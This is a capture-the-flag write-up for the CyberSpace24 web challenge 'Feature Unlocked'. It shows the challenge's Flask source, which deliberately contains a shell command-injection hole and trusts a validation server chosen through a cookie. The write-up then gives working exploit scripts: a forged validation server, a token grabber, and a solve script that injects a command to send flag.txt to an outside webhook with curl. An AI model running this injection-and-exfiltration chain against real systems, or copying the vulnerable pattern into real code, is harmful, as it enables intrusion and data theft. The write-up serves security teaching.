CyberSpace24 - Feature Unlocked

Challenge Description

1
name: feature unlocked
2
category: web exploitation
3
points: 50
4
solves: 184

The world’s coolest app has a brand new feature! Too bad it’s not released until after the CTF..

Note: Note: The challenge deployment will automatically restart every 15 minutes.

Analysis

We’re given the following web page:

initial

It seems that we have to unlock the new feature which is only available after the CTF ends:

feature-initial

We obviously can’t wait until the CTF ends, luckily for us, we’re given the source code for the application here

.
├── Dockerfile
├── flag.txt
├── nsjail.cfg
└── src
    ├── app
    │   ├── __init__.py
    │   ├── main.py
    │   ├── static
    │   │   ├── css
    │   │   │   ├── animations.css
    │   │   │   └── styles.css
    │   │   └── images
    │   │       └── logo.png
    │   └── templates
    │       ├── base.html
    │       ├── feature.html
    │       ├── index.html
    │       └── release.html
    ├── requirements.txt
    ├── run.sh
    └── validation_server
        └── validation.py

Looking at the Dockerfile gives:

1
FROM python:3.10-slim as chroot
2

3
ENV PYTHONUNBUFFERED=1
4

5
RUN apt-get update && apt-get install -y curl && apt-get clean
6

7
# create a /home/user and cd into it
8
RUN mkdir -p /home/user
9
WORKDIR /home/user
10

11
# copy flag and src/ to /home/user
12
COPY src/ flag.txt ./
13
RUN pip install --no-cache-dir -r requirements.txt
14

15
FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f
16

17
COPY --from=chroot / /chroot
18

19
COPY nsjail.cfg /home/user/
20

21
CMD kctf_setup && \
22
    kctf_drop_privs nsjail --config /home/user/nsjail.cfg -- /home/user/run.sh

This Dockerfile builds a secure CTF challenge environment:

Build Stage: Prepares the application by setting up Python, installing dependencies, and copying necessary files.
Final Stage: Uses a secure base image, copies the prepared environment, and runs the challenge inside a restricted sandbox (nsjail).

Let’s check the application now.

`main.py`

1
import subprocess
2
import base64
3
import json
4
import time
5
import requests
6
import os
7
from flask import Flask, request, render_template, make_response, redirect, url_for
8
from Crypto.Hash import SHA256
9
from Crypto.PublicKey import ECC
10
from Crypto.Signature import DSS
11
from itsdangerous import URLSafeTimedSerializer
12

13
app = Flask(__name__)
14
app.secret_key = os.urandom(16)
15
serializer = URLSafeTimedSerializer(app.secret_key)
16

17
DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'
18
NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60
19
DEFAULT_PREFERENCES = base64.b64encode(json.dumps({
20
    'theme': 'light',
21
    'language': 'en'
22
}).encode()).decode()
23

24

25
def get_preferences():
26
    preferences = request.cookies.get('preferences')
27
    if not preferences:
28
        response = make_response(render_template(
29
            'index.html', new_feature=False))
30
        response.set_cookie('preferences', DEFAULT_PREFERENCES)
31
        return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response
32
    return json.loads(base64.b64decode(preferences)), None
33

34

35
@app.route('/')
36
def index():
37
    _, response = get_preferences()
38
    return response if response else render_template('index.html', new_feature=False)
39

40

41
@app.route('/release')
42
def release():
43
    # we have to get a cookie named access_token
44
    token = request.cookies.get('access_token')
45
    if token:
46
        try:
47
            # when the token is loaded (from key that we don't know), it should equal access_granted
48
            data = serializer.loads(token)
49
            if data == 'access_granted':
50
                return redirect(url_for('feature'))
51
        except Exception as e:
52
            print(f"Token validation error: {e}")
53

54
    # have to go here
55
    validation_server = DEFAULT_VALIDATION_SERVER
56
    if request.args.get('debug') == 'true':
57
        preferences, _ = get_preferences()
58
        validation_server = preferences.get(
59
            'validation_server', DEFAULT_VALIDATION_SERVER)
60

61
    if validate_server(validation_server):
62
        response = make_response(render_template(
63
            'release.html', feature_unlocked=True))
64
        # token has our desired access_granted dumped
65
        token = serializer.dumps('access_granted')
66
        response.set_cookie('access_token', token, httponly=True, secure=True)
67
        # feature unlocked
68
        return response
69

70
    return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE)
71

72

73
@app.route('/feature', methods=['GET', 'POST'])
74
def feature():
75
    token = request.cookies.get('access_token')
76
    if not token:
77
        return redirect(url_for('index'))
78

79
    try:
80
        data = serializer.loads(token)
81
        if data != 'access_granted':
82
            return redirect(url_for('index'))
83

84
        if request.method == 'POST':
85
            # get the text from body
86
            to_process = request.form.get('text')
87
            try:
88
                # RCE here
89
                word_count = f"echo {to_process} | wc -w"
90
                output = subprocess.check_output(
91
                    word_count, shell=True, text=True)
92
            except subprocess.CalledProcessError as e:
93
                output = f"Error: {e}"
94
            return render_template('feature.html', output=output)
95

96
        return render_template('feature.html')
97
    except Exception as e:
98
        print(f"Error: {e}")
99
        return redirect(url_for('index'))
100

101

102
def get_pubkey(validation_server):
103
    try:
104
        response = requests.get(f"{validation_server}/pubkey")
105
        response.raise_for_status()
106
        return ECC.import_key(response.text)
107
    except requests.RequestException as e:
108
        raise Exception(
109
            f"Error connecting to validation server for public key: {e}")
110

111

112
def validate_access(validation_server):
113
    pubkey = get_pubkey(validation_server)
114
    try:
115
        response = requests.get(validation_server)
116
        response.raise_for_status()
117
        data = response.json()
118
        date = data['date'].encode('utf-8')
119
        signature = bytes.fromhex(data['signature'])
120
        verifier = DSS.new(pubkey, 'fips-186-3')
121
        verifier.verify(SHA256.new(date), signature)
122
        return int(date)
123
    except requests.RequestException as e:
124
        raise Exception(f"Error validating access: {e}")
125

126

127
def validate_server(validation_server):
128
    try:
129
        date = validate_access(validation_server)
130
        return date >= NEW_FEATURE_RELEASE
131
    except Exception as e:
132
        print(f"Error: {e}")
133
    return False
134

135

136
if __name__ == '__main__':
137
    app.run(host='0.0.0.0', port=1337)

This Flask application manages feature access using a cookie-based token system. Users accessing the /release route may receive an access token if they are validated by a server. If the server’s public key verifies a valid date, the feature is unlocked, and the token is set. The /feature route allows text processing with potential Remote Code Execution (RCE) via a subprocess command. It also fetches a public key and verifies server access using digital signatures. The application defaults to a basic theme and language in user preferences, which can be updated based on cookies.

Interesting, the server uses the validation server hosted on localhost port 1338 to validate the access. Let’s check how this latter is implemented:

`validation.py`

1
from flask import Flask, jsonify
2
import time
3
from Crypto.Hash import SHA256
4
from Crypto.PublicKey import ECC
5
from Crypto.Signature import DSS
6

7
app = Flask(__name__)
8

9
key = ECC.generate(curve='p256')
10
pubkey = key.public_key().export_key(format='PEM')
11

12

13
@app.route('/pubkey', methods=['GET'])
14
def get_pubkey():
15
    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
16

17

18
@app.route('/', methods=['GET'])
19
def index():
20
    date = str(int(time.time()))
21
    h = SHA256.new(date.encode('utf-8'))
22
    signature = DSS.new(key, 'fips-186-3').sign(h)
23

24
    return jsonify({
25
        'date': date,
26
        'signature': signature.hex()
27
    })
28

29

30
if __name__ == '__main__':
31
    app.run(host='127.0.0.1', port=1338)

In simple terms, this validation server helps the main application check if it should unlock features. It does this by providing a way to verify if a timestamp given by the server is genuine. When the main application asks the server, it gets a timestamp and a special code showing it’s real. The main application then uses this code to confirm that the server’s timestamp is valid before unlocking any features.

In more technical terms, the validation server returns a date which is later compared to the NEW_FEATURE_RELEASE date, if the date given by the validation server is greater than the latter, the feature is unlocked (access_granted set, by extension we get RCE)

1
# validate server function
2
date = validate_access(validation_server)
3
return date >= NEW_FEATURE_RELEASE

However, the server used by the application currently doesn’t serve us well. Only if we could redirect the application onto a server of our own…

It turns out, when the debug query parameter is set to true in the /release route, the application allows overriding the default validation server with one specified in the user’s cookie preferences. If the custom server is validated successfully, it may issue an access token granting feature access. This setup could potentially be exploited if the custom validation server is not securely configured.

This is exactly what we want, we can host our own server which instead of returning the current date, it returns a date greater that NEW_FEATURE_RELEASE. After that, we can send a POST request to /feature with text equal to our payload which retrieves the flag.txt file.

Exploitation

Let’s first write our own custom-validation.py server, host it and tunnel our localhost using beeceptor

`custom-validation.py`

1
from flask import Flask, jsonify, request
2
import time
3
from Crypto.Hash import SHA256
4
from Crypto.PublicKey import ECC
5
from Crypto.Signature import DSS
6

7
app = Flask(__name__)
8

9
# Generate a key and public key
10
key = ECC.generate(curve='p256')
11
pubkey = key.public_key().export_key(format='PEM')
12

13
# Constants
14
DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'
15

16
@app.route('/pubkey', methods=['GET'])
17
def get_pubkey():
18
    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
19

20
@app.route('/', methods=['GET'])
21
def index():
22
    date = str(int(time.time()))
23
    h = SHA256.new(date.encode('utf-8'))
24
    signature = DSS.new(key, 'fips-186-3').sign(h)
25

26
    # Bypass validation by always returning a valid date and signature
27
    # Ensure the date is in the future to always pass the validation
28
    valid_date = str(int(time.time()) + 10 * 24 * 60 * 60)  # Valid for 10 days in the future
29
    valid_signature = DSS.new(key, 'fips-186-3').sign(SHA256.new(valid_date.encode('utf-8')))
30

31
    return jsonify({
32
        'date': valid_date,
33
        'signature': valid_signature.hex()
34
    })
35

36
if __name__ == '__main__':
37
    app.run(host='127.0.0.1', port=1338)

This here always returns a valid date. Let’s now create our gen.py script to get the acess_granted cookie.

`gen.py`

1
import requests
2
import base64
3
import json
4
import time
5

6
# Configuration
7
BASE_URL = 'https://feature-unlocked-web.challs.csc.tf'
8
RELEASE_ENDPOINT = '/release'
9
PREFERENCES_COOKIE_NAME = 'preferences'
10
DEFAULT_PREFERENCES = {
11
    'theme': 'light',
12
    'language': 'en',
13
    'validation_server': 'https://<id>.free.beeceptor.com'  # This should match the modified validation server URL
14
}
15

16
# Encode preferences as base64
17
encoded_preferences = base64.b64encode(
18
    json.dumps(DEFAULT_PREFERENCES).encode()
19
).decode()
20

21
# Set the preferences cookie value
22
cookies = {
23
    PREFERENCES_COOKIE_NAME: encoded_preferences
24
}
25

26
# Make the GET request to /release with debug=true
27
response = requests.get(
28
    f'{BASE_URL}{RELEASE_ENDPOINT}',
29
    params={'debug': 'true'},
30
    cookies=cookies,
31
    allow_redirects=False  # Avoid following redirects to see the response directly
32
)
33

34
# Print the response
35
print(f"Status Code: {response.status_code}")
36
print(f"Response Headers: {response.headers}")
37
print(f"Response Text: {response.text}")
38

39
# If the response includes a 'Set-Cookie' header, print it to check the access_token
40
if 'Set-Cookie' in response.headers:
41
    print(f"Set-Cookie Header: {response.headers['Set-Cookie']}")

Running python gen.py should give us the token

get-token

And it did! Let’s now craft another script solve.py to retrieve the flag.txt

`solve.py`

1
import requests
2

3
# Replace these values with your actual values
4
access_token = 'ImFjY2Vzc19ncmFudGVkIg.ZtWNIQ.efPFQEBT8jNFoIlWVhjSeYC2Iuk'
5
feature_url = 'https://feature-unlocked-web.challs.csc.tf/feature'
6

7
# Text to be sent to the /feature endpoint for word count testing
8
text_body = 'This; cat flag.txt | curl -X POST -d @- https://webhook.site/ea19e1c2-91bb-469b-bfd4-8f3608541e56'
9

10
# Create the headers with the access token
11
headers = {
12
    'Cookie': f'access_token={access_token}'
13
}
14

15
# Create the payload with the text to be processed
16
data = {
17
    'text': text_body
18
}
19

20
# Make the POST request to the /feature endpoint
21
response = requests.post(feature_url, headers=headers, data=data)
22

23
# Print the response from the server
24
print(f"Status Code: {response.status_code}")
25
print("Response Content:")
26
print(response.text)

Running python solve.py should send a request to our webhook, and we should see the flag there.

flag

There we go~ flag is: CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}

From this challenge, we learned the importance of:

Understanding Validation Mechanisms: Knowing how to manipulate and bypass validation checks can help in exploiting such features.
Using Debug Parameters: Identifying how debug modes or parameters can be leveraged to control or redirect application behavior.
Remote Code Execution (RCE): Recognizing and exploiting RCE vulnerabilities, especially in contexts where subprocess commands are involved.
Custom Validation Servers: Realizing the risks of trusting external or custom validation servers without proper security checks.